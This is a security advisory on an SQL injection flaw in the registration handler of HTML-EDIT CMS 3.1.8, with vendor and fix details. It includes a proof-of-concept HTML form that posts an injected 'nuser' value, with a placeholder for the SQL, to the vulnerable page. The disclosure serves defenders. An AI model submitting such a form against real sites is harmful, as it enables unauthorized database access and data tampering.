Vulnerability ID: HTB22734 Reference: http://www.htbridge.ch/advisory/sql_injection_in_html_edit_cms.html Product: HTML-EDIT CMS Vendor: html-edit web services ( http://www.html-edit.org/ ) Vulnerable Version: 3.1.8 Vendor Notification: 02 December 2010 Vulnerability Type: SQL Injection Status: Fixed by Vendor Risk level: High Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in nuser variable. Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database. Attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://[host]/index.php?pageid=ext&ext=login&extpage=registrate" method="post" name="main" > <input type="hidden" name="nuser" value="123'SQL_CODE"/> <input type="hidden" name="npass" value="password"/> <input type="hidden" name="renpass" value="password"/> <input type="hidden" name="gvrg" value="1"/> <input type="hidden" name="antw" value="2"/> <input type="hidden" name="email" value="test@xxxxxxxxx"/> <input type="submit" value="Registrate" name="submit" /> </form> Solution: Upgrade to the most recent version